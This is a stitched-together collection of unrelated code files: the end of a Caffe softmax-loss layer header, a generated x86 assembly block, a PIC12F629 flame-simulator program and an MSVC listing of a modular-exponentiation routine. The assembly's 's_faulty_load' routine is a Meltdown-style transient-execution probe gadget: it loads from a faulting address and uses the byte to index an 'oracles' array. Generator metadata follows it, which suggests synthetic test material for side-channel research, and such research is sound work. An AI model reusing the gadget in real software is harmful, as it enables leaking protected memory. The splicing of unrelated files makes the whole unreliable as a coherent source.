* @f$, for softmax output class probabilites @f$ \hat{p} @f$
*/
template <typename Dtype>
class SoftmaxWithLossLayer : public LossLayer<Dtype> {
public:
/**
* @param param provides LossParameter loss_param, with options:
* - ignore_label (optional)
* Specify a label value that should be ignored when computing the loss.
* - normalize (optional, default true)
* If true, the loss is normalized by the number of (nonignored) labels
* present; otherwise the loss is simply summed over spatial locations.
*/
explicit SoftmaxWithLossLayer(const LayerParameter& param)
: LossLayer<Dtype>(param) {}
virtual void LayerSetUp(const vector<Blob<Dtype>*>& bottom,
const vector<Blob<Dtype>*>& top);
virtual void Reshape(const vector<Blob<Dtype>*>& bottom,
const vector<Blob<Dtype>*>& top);
virtual inline const char* type() const { return "SoftmaxWithLoss"; }
virtual inline int ExactNumTopBlobs() const { return -1; }
virtual inline int MinTopBlobs() const { return 1; }
virtual inline int MaxTopBlobs() const { return 2; }
protected:
virtual void Forward_cpu(const vector<Blob<Dtype>*>& bottom,
const vector<Blob<Dtype>*>& top);
virtual void Forward_gpu(const vector<Blob<Dtype>*>& bottom,
const vector<Blob<Dtype>*>& top);
/**
* @brief Computes the softmax loss error gradient w.r.t. the predictions.
*
* Gradients cannot be computed with respect to the label inputs (bottom[1]),
* so this method ignores bottom[1] and requires !propagate_down[1], crashing
* if propagate_down[1] is set.
*
* @param top output Blob vector (length 1), providing the error gradient with
* respect to the outputs
* -# @f$ (1 \times 1 \times 1 \times 1) @f$
* This Blob's diff will simply contain the loss_weight* @f$ \lambda @f$,
* as @f$ \lambda @f$ is the coefficient of this layer's output
* @f$\ell_i@f$ in the overall Net loss
* @f$ E = \lambda_i \ell_i + \mbox{other loss terms}@f$; hence
* @f$ \frac{\partial E}{\partial \ell_i} = \lambda_i @f$.
* (*Assuming that this top Blob is not used as a bottom (input) by any
* other layer of the Net.)
* @param propagate_down see Layer::Backward.
* propagate_down[1] must be false as we can't compute gradients with
* respect to the labels.
* @param bottom input Blob vector (length 2)
* -# @f$ (N \times C \times H \times W) @f$
* the predictions @f$ x @f$; Backward computes diff
* @f$ \frac{\partial E}{\partial x} @f$
* -# @f$ (N \times 1 \times 1 \times 1) @f$
* the labels -- ignored as we can't compute their error gradients
*/
virtual void Backward_cpu(const vector<Blob<Dtype>*>& top,
const vector<bool>& propagate_down, const vector<Blob<Dtype>*>& bottom);
virtual void Backward_gpu(const vector<Blob<Dtype>*>& top,
const vector<bool>& propagate_down, const vector<Blob<Dtype>*>& bottom);
/// Read the normalization mode parameter and compute the normalizer based
/// on the blob size. If normalization_mode is VALID, the count of valid
/// outputs will be read from valid_count, unless it is -1 in which case
/// all outputs are assumed to be valid.
virtual Dtype get_normalizer(
LossParameter_NormalizationMode normalization_mode, int valid_count);
/// The internal SoftmaxLayer used to map predictions to a distribution.
shared_ptr<Layer<Dtype> > softmax_layer_;
/// prob stores the output probability predictions from the SoftmaxLayer.
Blob<Dtype> prob_;
/// bottom vector holder used in call to the underlying SoftmaxLayer::Forward
vector<Blob<Dtype>*> softmax_bottom_vec_;
/// top vector holder used in call to the underlying SoftmaxLayer::Forward
vector<Blob<Dtype>*> softmax_top_vec_;
/// Whether to ignore instances with a certain label.
bool has_ignore_label_;
/// The label indicating that an instance should be ignored.
int ignore_label_;
/// How to normalize the output loss.
LossParameter_NormalizationMode normalization_;
int softmax_axis_, outer_num_, inner_num_;
#ifdef USE_4CG
int count[NThread];
Dtype loss[NThread];
#endif
};
} // namespace caffe
#endif // CAFFE_SOFTMAX_WITH_LOSS_LAYER_HPP_
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x19495, %rsi
lea addresses_normal_ht+0x19c1d, %rdi
nop
inc %r13
mov $23, %rcx
rep movsw
nop
nop
and %rdx, %rdx
lea addresses_WC_ht+0x1599d, %r12
add $20619, %r13
mov (%r12), %si
nop
and $60496, %rdi
lea addresses_A_ht+0x5b2d, %r12
clflush (%r12)
nop
nop
nop
sub $42653, %rdi
mov (%r12), %si
nop
nop
add $11141, %rdi
lea addresses_WT_ht+0x45d1, %rdi
nop
nop
nop
sub $53326, %rax
mov (%rdi), %r13w
nop
nop
sub %rdx, %rdx
lea addresses_D_ht+0x12d6d, %r12
nop
nop
nop
nop
nop
add %r13, %r13
movl $0x61626364, (%r12)
nop
and %rdx, %rdx
lea addresses_D_ht+0xa761, %rsi
lea addresses_WC_ht+0xe584, %rdi
nop
sub $43573, %rbx
mov $98, %rcx
rep movsw
nop
nop
nop
nop
and %rbx, %rbx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r15
push %r9
push %rax
push %rsi
// Faulty Load
lea addresses_RW+0x1196d, %r10
nop
inc %r13
movb (%r10), %r9b
lea oracles, %rax
and $0xff, %r9
shlq $12, %r9
mov (%rax,%r9,1), %r9
pop %rsi
pop %rax
pop %r9
pop %r15
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'AVXalign': True, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': True}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'AVXalign': True, 'size': 2, 'NT': False, 'same': True, 'congruent': 2}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 8}}
{'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
;****************************************************************************************************
; Simulador de llama. Version: 0.3
;
;
; Simple simulador de una llama.
; Micro usado: PIC12F629 (Deberia funcionar tambien con el PIC12F675 sin modificar el HEX).
; Ver esquema electrico de conexion.
;
; Switchxxi@gmail.com
;
;****************************************************************************************************
list p=12F629
radix dec
include "p12f629.inc"
errorlevel -302 ; Don't complain about BANK 1 Registers
__CONFIG _MCLRE_OFF & _CP_OFF & _WDT_OFF & _INTRC_OSC_NOCLKOUT ;Internal osc.
;****************************************************************************************************
; Registros usados
;****************************************************************************************************
Dato equ 20h
Conta equ 21h
D1 equ 22h
D2 equ 23h
D3 equ 24h
Index equ 25h
Index2 equ 26h
Dela equ 27h
Last_Ram_Pag_0 equ 5fh
;****************************************************************************************************
; Constants
;****************************************************************************************************
#define rp0 0x05 ; bit 5 of the status register (Page Selector)
;****************************************************************************************************
; Reset Vector
;****************************************************************************************************
org 0x00 ;program starts at location 000
goto SetUp
;****************************************************************************************************
; Setup
;****************************************************************************************************
SetUp
bsf STATUS, rp0 ; Bank 1
call 0x3ff
movwf OSCCAL ;
movlw b'10000000' ; Prescale for TMR0 = 1:2, CLK --> TMR0, pull-up off
movwf OPTION_REG
clrf TRISIO ; All GPIO = Out
clrf INTCON ; Interrups off
bcf STATUS, rp0 ; bank 0
movlw 07h ; Set up W to turn off Comparator ports
movwf CMCON ; must be placed in bank 0
;****************************************************************************************************
; Main
;****************************************************************************************************
clrf GPIO ; Clear GPIO
clrf Index
clrf Index2
Loop
call Random
movf Dato, w
iorlw b'01000000'
movwf Dela ; Delay Min = 64
bcf Dela, 7 ; Delay --> 64 to 127
andlw b'00000011'
call T2
movwf Index
L1
call T1
movwf GPIO
call Delay
incf Index, f
incf Index2, f
movlw 8
xorwf Index2, w
btfss STATUS, Z
goto L1
clrf Index2
goto Loop
;****************************************************************************************************
; Random Number Generator
;****************************************************************************************************
Random
clrf Conta
btfsc Dato, 4
incf Conta, f
btfsc Dato, 3
incf Conta, f
btfsc Dato, 2
incf Conta, f
btfsc Dato, 0
incf Conta, f
rrf Conta, f
rrf Dato, f
return
;****************************************************************************************************
; Delay. Aprox = 60ms
;****************************************************************************************************
Delay
;movlw 90
movf Dela, w
movwf D1
Del2
movlw 255
movwf D2
Del1
decfsz D2, f
goto Del1
decfsz D1, f
goto Del2
return
;****************************************************************************************************
; Tablas
;****************************************************************************************************
T1
movf Index, w
addwf PCL, f
retlw b'00000001' ; 0
retlw b'00000001' ; 1
retlw b'00000011' ; 2
retlw b'00000011' ; 3
retlw b'00000111' ; 4
retlw b'00010101' ; 5
retlw b'00110001' ; 6
retlw b'00100001' ; 7
retlw b'00000001' ; 8
retlw b'00000001' ; 9
retlw b'00000011' ; 10
retlw b'00000111' ; 11
retlw b'00010111' ; 12
retlw b'00000111' ; 13
retlw b'00010111' ; 14
retlw b'00000111' ; 15
retlw b'00000001' ; 16
retlw b'00000011' ; 17
retlw b'00000111' ; 18
retlw b'00010111' ; 19
retlw b'00110111' ; 20
retlw b'00010111' ; 21
retlw b'00000111' ; 22
retlw b'00000011' ; 23
retlw b'00000001' ; 24
retlw b'00000001' ; 25
retlw b'00000011' ; 26
retlw b'00000011' ; 27
retlw b'00000111' ; 28
retlw b'00010111' ; 29
retlw b'00000111' ; 30
retlw b'00000011' ; 31
T2
addwf PCL, f
retlw 0 ; 0
retlw 8 ; 1
retlw 16 ; 2
retlw 24 ; 3
end |
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27026.1
include listing.inc
INCLUDELIB MSVCRTD
INCLUDELIB OLDNAMES
msvcjmc SEGMENT
__7B7A869E_ctype@h DB 01H
__457DD326_basetsd@h DB 01H
__4384A2D9_corecrt_memcpy_s@h DB 01H
__4E51A221_corecrt_wstring@h DB 01H
__2140C079_string@h DB 01H
__1887E595_winnt@h DB 01H
__9FC7C64B_processthreadsapi@h DB 01H
__FA470AEC_memoryapi@h DB 01H
__F37DAFF1_winerror@h DB 01H
__7A450CCC_winbase@h DB 01H
__B4B40122_winioctl@h DB 01H
__86261D59_stralign@h DB 01H
__7B8DBFC3_pmc_uint_internal@h DB 01H
__6B0481B0_pmc_inline_func@h DB 01H
__54B479F5_pmc_modpow@c DB 01H
msvcjmc ENDS
PUBLIC Initialize_ModPow
PUBLIC PMC_ModPow_X_X_X
PUBLIC __JustMyCode_Default
EXTRN AllocateBlock:PROC
EXTRN DeallocateBlock:PROC
EXTRN CheckBlockLight:PROC
EXTRN AllocateNumber:PROC
EXTRN DeallocateNumber:PROC
EXTRN CommitNumber:PROC
EXTRN CheckNumber:PROC
EXTRN DuplicateNumber:PROC
EXTRN Multiply_X_X_Imp:PROC
EXTRN DivRem_X_X:PROC
EXTRN Compare_Imp:PROC
EXTRN _RTC_CheckStackVars:PROC
EXTRN _RTC_InitBase:PROC
EXTRN _RTC_Shutdown:PROC
EXTRN __CheckForDebuggerJustMyCode:PROC
EXTRN number_zero:BYTE
EXTRN number_one:BYTE
; COMDAT pdata
pdata SEGMENT
$pdata$Initialize_ModPow DD imagerel $LN3
DD imagerel $LN3+66
DD imagerel $unwind$Initialize_ModPow
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_ModPow_X_X_X DD imagerel $LN12
DD imagerel $LN12+318
DD imagerel $unwind$PMC_ModPow_X_X_X
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$_COPY_MEMORY_UNIT DD imagerel _COPY_MEMORY_UNIT
DD imagerel _COPY_MEMORY_UNIT+100
DD imagerel $unwind$_COPY_MEMORY_UNIT
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$_ZERO_MEMORY_UNIT DD imagerel _ZERO_MEMORY_UNIT
DD imagerel _ZERO_MEMORY_UNIT+88
DD imagerel $unwind$_ZERO_MEMORY_UNIT
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$_MAXIMUM_UNIT DD imagerel _MAXIMUM_UNIT
DD imagerel _MAXIMUM_UNIT+122
DD imagerel $unwind$_MAXIMUM_UNIT
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$_LZCNT_ALT_UNIT DD imagerel _LZCNT_ALT_UNIT
DD imagerel _LZCNT_ALT_UNIT+131
DD imagerel $unwind$_LZCNT_ALT_UNIT
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$Compare_Easy DD imagerel Compare_Easy
DD imagerel Compare_Easy+155
DD imagerel $unwind$Compare_Easy
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$SwapPointer DD imagerel SwapPointer
DD imagerel SwapPointer+117
DD imagerel $unwind$SwapPointer
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$Remainder DD imagerel Remainder
DD imagerel Remainder+717
DD imagerel $unwind$Remainder
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$ModulePower DD imagerel ModulePower
DD imagerel ModulePower+3512
DD imagerel $unwind$ModulePower
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_ModPow_X_X_X_Imp DD imagerel PMC_ModPow_X_X_X_Imp
DD imagerel PMC_ModPow_X_X_X_Imp+487
DD imagerel $unwind$PMC_ModPow_X_X_X_Imp
pdata ENDS
; COMDAT rtc$TMZ
rtc$TMZ SEGMENT
_RTC_Shutdown.rtc$TMZ DQ FLAT:_RTC_Shutdown
rtc$TMZ ENDS
; COMDAT rtc$IMZ
rtc$IMZ SEGMENT
_RTC_InitBase.rtc$IMZ DQ FLAT:_RTC_InitBase
rtc$IMZ ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_ModPow_X_X_X_Imp DD 025053901H
DD 011d2322H
DD 070160021H
DD 05015H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$ModulePower DD 045053901H
DD 011d4322H
DD 0701600d5H
DD 05015H
xdata ENDS
; COMDAT CONST
CONST SEGMENT
ModulePower$rtcName$0 DB 076H
DB 05fH
DB 032H
DB 05fH
DB 062H
DB 075H
DB 066H
DB 05fH
DB 063H
DB 06fH
DB 064H
DB 065H
DB 00H
ORG $+3
ModulePower$rtcName$1 DB 076H
DB 05fH
DB 032H
DB 05fH
DB 062H
DB 075H
DB 066H
DB 05fH
DB 077H
DB 06fH
DB 072H
DB 064H
DB 073H
DB 00H
ORG $+2
ModulePower$rtcName$2 DB 077H
DB 06fH
DB 072H
DB 06bH
DB 05fH
DB 031H
DB 05fH
DB 062H
DB 075H
DB 066H
DB 05fH
DB 063H
DB 06fH
DB 064H
DB 065H
DB 00H
ModulePower$rtcName$3 DB 077H
DB 06fH
DB 072H
DB 06bH
DB 05fH
DB 031H
DB 05fH
DB 062H
DB 075H
DB 066H
DB 05fH
DB 077H
DB 06fH
DB 072H
DB 064H
DB 073H
DB 00H
ORG $+3
ModulePower$rtcName$11 DB 075H
DB 05fH
DB 070H
DB 074H
DB 072H
DB 00H
ORG $+6
ModulePower$rtcName$4 DB 077H
DB 06fH
DB 072H
DB 06bH
DB 05fH
DB 032H
DB 05fH
DB 062H
DB 075H
DB 066H
DB 05fH
DB 063H
DB 06fH
DB 064H
DB 065H
DB 00H
ModulePower$rtcName$5 DB 077H
DB 06fH
DB 072H
DB 06bH
DB 05fH
DB 032H
DB 05fH
DB 062H
DB 075H
DB 066H
DB 05fH
DB 077H
DB 06fH
DB 072H
DB 064H
DB 073H
DB 00H
ORG $+3
ModulePower$rtcName$12 DB 077H
DB 05fH
DB 070H
DB 074H
DB 072H
DB 00H
ORG $+6
ModulePower$rtcName$6 DB 077H
DB 06fH
DB 072H
DB 06bH
DB 05fH
DB 076H
DB 05fH
DB 062H
DB 075H
DB 066H
DB 05fH
DB 063H
DB 06fH
DB 064H
DB 065H
DB 00H
ModulePower$rtcName$7 DB 077H
DB 06fH
DB 072H
DB 06bH
DB 05fH
DB 076H
DB 05fH
DB 062H
DB 075H
DB 066H
DB 05fH
DB 077H
DB 06fH
DB 072H
DB 064H
DB 073H
DB 00H
ORG $+7
ModulePower$rtcName$8 DB 071H
DB 05fH
DB 062H
DB 075H
DB 066H
DB 05fH
DB 063H
DB 06fH
DB 064H
DB 065H
DB 00H
ORG $+5
ModulePower$rtcName$9 DB 071H
DB 05fH
DB 062H
DB 075H
DB 066H
DB 05fH
DB 077H
DB 06fH
DB 072H
DB 064H
DB 073H
DB 00H
ORG $+4
ModulePower$rtcName$10 DB 072H
DB 05fH
DB 063H
DB 068H
DB 065H
DB 063H
DB 06bH
DB 05fH
DB 063H
DB 06fH
DB 064H
DB 065H
DB 00H
ORG $+11
ModulePower$rtcVarDesc DD 0428H
DD 08H
DQ FLAT:ModulePower$rtcName$12
DD 03e8H
DD 08H
DQ FLAT:ModulePower$rtcName$11
DD 0348H
DD 08H
DQ FLAT:ModulePower$rtcName$10
DD 02e8H
DD 08H
DQ FLAT:ModulePower$rtcName$9
DD 02c8H
DD 08H
DQ FLAT:ModulePower$rtcName$8
DD 0268H
DD 08H
DQ FLAT:ModulePower$rtcName$7
DD 0248H
DD 08H
DQ FLAT:ModulePower$rtcName$6
DD 01e8H
DD 08H
DQ FLAT:ModulePower$rtcName$5
DD 01c8H
DD 08H
DQ FLAT:ModulePower$rtcName$4
DD 0168H
DD 08H
DQ FLAT:ModulePower$rtcName$3
DD 0148H
DD 08H
DQ FLAT:ModulePower$rtcName$2
DD 0e8H
DD 08H
DQ FLAT:ModulePower$rtcName$1
DD 0c8H
DD 08H
DQ FLAT:ModulePower$rtcName$0
ORG $+624
ModulePower$rtcFrameData DD 0dH
DD 00H
DQ FLAT:ModulePower$rtcVarDesc
CONST ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$Remainder DD 045053401H
DD 0118431dH
DD 070110041H
DD 05010H
xdata ENDS
; COMDAT CONST
CONST SEGMENT
Remainder$rtcName$0 DB 077H
DB 06fH
DB 072H
DB 06bH
DB 05fH
DB 076H
DB 05fH
DB 062H
DB 075H
DB 066H
DB 05fH
DB 063H
DB 06fH
DB 064H
DB 065H
DB 00H
Remainder$rtcName$1 DB 077H
DB 06fH
DB 072H
DB 06bH
DB 05fH
DB 076H
DB 05fH
DB 062H
DB 075H
DB 066H
DB 05fH
DB 077H
DB 06fH
DB 072H
DB 064H
DB 073H
DB 00H
ORG $+7
Remainder$rtcName$2 DB 071H
DB 05fH
DB 062H
DB 075H
DB 066H
DB 05fH
DB 063H
DB 06fH
DB 064H
DB 065H
DB 00H
ORG $+5
Remainder$rtcName$3 DB 071H
DB 05fH
DB 062H
DB 075H
DB 066H
DB 05fH
DB 077H
DB 06fH
DB 072H
DB 064H
DB 073H
DB 00H
ORG $+4
Remainder$rtcName$4 DB 072H
DB 05fH
DB 063H
DB 068H
DB 065H
DB 063H
DB 06bH
DB 05fH
DB 063H
DB 06fH
DB 064H
DB 065H
DB 00H
ORG $+11
Remainder$rtcVarDesc DD 0128H
DD 08H
DQ FLAT:Remainder$rtcName$4
DD 0e8H
DD 08H
DQ FLAT:Remainder$rtcName$3
DD 0c8H
DD 08H
DQ FLAT:Remainder$rtcName$2
DD 088H
DD 08H
DQ FLAT:Remainder$rtcName$1
DD 068H
DD 08H
DQ FLAT:Remainder$rtcName$0
ORG $+240
Remainder$rtcFrameData DD 05H
DD 00H
DQ FLAT:Remainder$rtcVarDesc
CONST ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$SwapPointer DD 025052f01H
DD 01132318H
DD 0700c0021H
DD 0500bH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$Compare_Easy DD 025053901H
DD 011d2322H
DD 07016001dH
DD 05015H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$_LZCNT_ALT_UNIT DD 025052a01H
DD 010e2313H
DD 070070021H
DD 05006H
xdata ENDS
; COMDAT CONST
CONST SEGMENT
_LZCNT_ALT_UNIT$rtcName$0 DB 070H
DB 06fH
DB 073H
DB 00H
ORG $+12
_LZCNT_ALT_UNIT$rtcVarDesc DD 024H
DD 04H
DQ FLAT:_LZCNT_ALT_UNIT$rtcName$0
ORG $+48
_LZCNT_ALT_UNIT$rtcFrameData DD 01H
DD 00H
DQ FLAT:_LZCNT_ALT_UNIT$rtcVarDesc
CONST ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$_MAXIMUM_UNIT DD 025052f01H
DD 01132318H
DD 0700c001fH
DD 0500bH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$_ZERO_MEMORY_UNIT DD 025052f01H
DD 01132318H
DD 0700c001dH
DD 0500bH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$_COPY_MEMORY_UNIT DD 025063501H
DD 0119231eH
DD 07012001cH
DD 050106011H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_ModPow_X_X_X DD 025053901H
DD 011d2322H
DD 070160021H
DD 05015H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$Initialize_ModPow DD 025052a01H
DD 010e2313H
DD 07007001dH
DD 05006H
xdata ENDS
; Function compile flags: /Odt
; COMDAT __JustMyCode_Default
_TEXT SEGMENT
__JustMyCode_Default PROC ; COMDAT
ret 0
__JustMyCode_Default ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_modpow.c
; COMDAT PMC_ModPow_X_X_X_Imp
_TEXT SEGMENT
result$ = 4
v$ = 256
e$ = 264
m$ = 272
r$ = 280
PMC_ModPow_X_X_X_Imp PROC ; COMDAT
; 507 : {
mov QWORD PTR [rsp+32], r9
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 264 ; 00000108H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 66 ; 00000042H
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+296]
lea rcx, OFFSET FLAT:__54B479F5_pmc_modpow@c
call __CheckForDebuggerJustMyCode
; 508 : PMC_STATUS_CODE result;
; 509 :
; 510 : if (m->IS_ZERO)
mov rax, QWORD PTR m$[rbp]
mov eax, DWORD PTR [rax+40]
shr eax, 1
and eax, 1
test eax, eax
je SHORT $LN2@PMC_ModPow
; 511 : {
; 512 : // m が 0 の場合
; 513 :
; 514 : // 0 による除算は許されないのでエラーを通知する
; 515 : return (PMC_STATUS_DIVISION_BY_ZERO);
mov eax, -3
jmp $LN1@PMC_ModPow
; 516 : }
jmp $LN3@PMC_ModPow
$LN2@PMC_ModPow:
; 517 : else if (m->IS_ONE)
mov rax, QWORD PTR m$[rbp]
mov eax, DWORD PTR [rax+40]
shr eax, 2
and eax, 1
test eax, eax
je SHORT $LN4@PMC_ModPow
; 518 : {
; 519 : // m が 1 の場合
; 520 : if (v->IS_ZERO)
mov rax, QWORD PTR v$[rbp]
mov eax, DWORD PTR [rax+40]
shr eax, 1
and eax, 1
test eax, eax
je SHORT $LN6@PMC_ModPow
; 521 : {
; 522 : // v が 0 の場合
; 523 : if (e->IS_ZERO)
mov rax, QWORD PTR e$[rbp]
mov eax, DWORD PTR [rax+40]
shr eax, 1
and eax, 1
test eax, eax
je SHORT $LN8@PMC_ModPow
; 524 : {
; 525 : // e が 0 の場合
; 526 :
; 527 : // 0 の 0 乗となるので、エラーを返す
; 528 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
jmp $LN1@PMC_ModPow
; 529 : }
jmp SHORT $LN9@PMC_ModPow
$LN8@PMC_ModPow:
; 530 : else
; 531 : {
; 532 : // e が 0 ではない場合
; 533 :
; 534 : // v の e 乗がどんな値であっても 1 では必ず割り切れるので剰余は 0 となる。
; 535 : *r = &number_zero;
mov rax, QWORD PTR r$[rbp]
lea rcx, OFFSET FLAT:number_zero
mov QWORD PTR [rax], rcx
$LN9@PMC_ModPow:
; 536 : }
; 537 : }
jmp SHORT $LN7@PMC_ModPow
$LN6@PMC_ModPow:
; 538 : else
; 539 : {
; 540 : // v が 0 ではない場合
; 541 :
; 542 : // v の e 乗がどんな値であっても 1 では必ず割り切れるので剰余は 0 となる。
; 543 : *r = &number_zero;
mov rax, QWORD PTR r$[rbp]
lea rcx, OFFSET FLAT:number_zero
mov QWORD PTR [rax], rcx
$LN7@PMC_ModPow:
; 544 : }
; 545 : }
jmp $LN5@PMC_ModPow
$LN4@PMC_ModPow:
; 546 : else
; 547 : {
; 548 : // m が 2 以上の場合
; 549 : if (v->IS_ZERO)
mov rax, QWORD PTR v$[rbp]
mov eax, DWORD PTR [rax+40]
shr eax, 1
and eax, 1
test eax, eax
je SHORT $LN10@PMC_ModPow
; 550 : {
; 551 : // v が 0 の場合
; 552 : if (e->IS_ZERO)
mov rax, QWORD PTR e$[rbp]
mov eax, DWORD PTR [rax+40]
shr eax, 1
and eax, 1
test eax, eax
je SHORT $LN12@PMC_ModPow
; 553 : {
; 554 : // e が 0 の場合
; 555 :
; 556 : // 0 の 0 乗となるので、エラーを返す
; 557 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
jmp $LN1@PMC_ModPow
; 558 : }
jmp SHORT $LN13@PMC_ModPow
$LN12@PMC_ModPow:
; 559 : else
; 560 : {
; 561 : // e が 0 ではない場合
; 562 :
; 563 : *r = &number_zero;
mov rax, QWORD PTR r$[rbp]
lea rcx, OFFSET FLAT:number_zero
mov QWORD PTR [rax], rcx
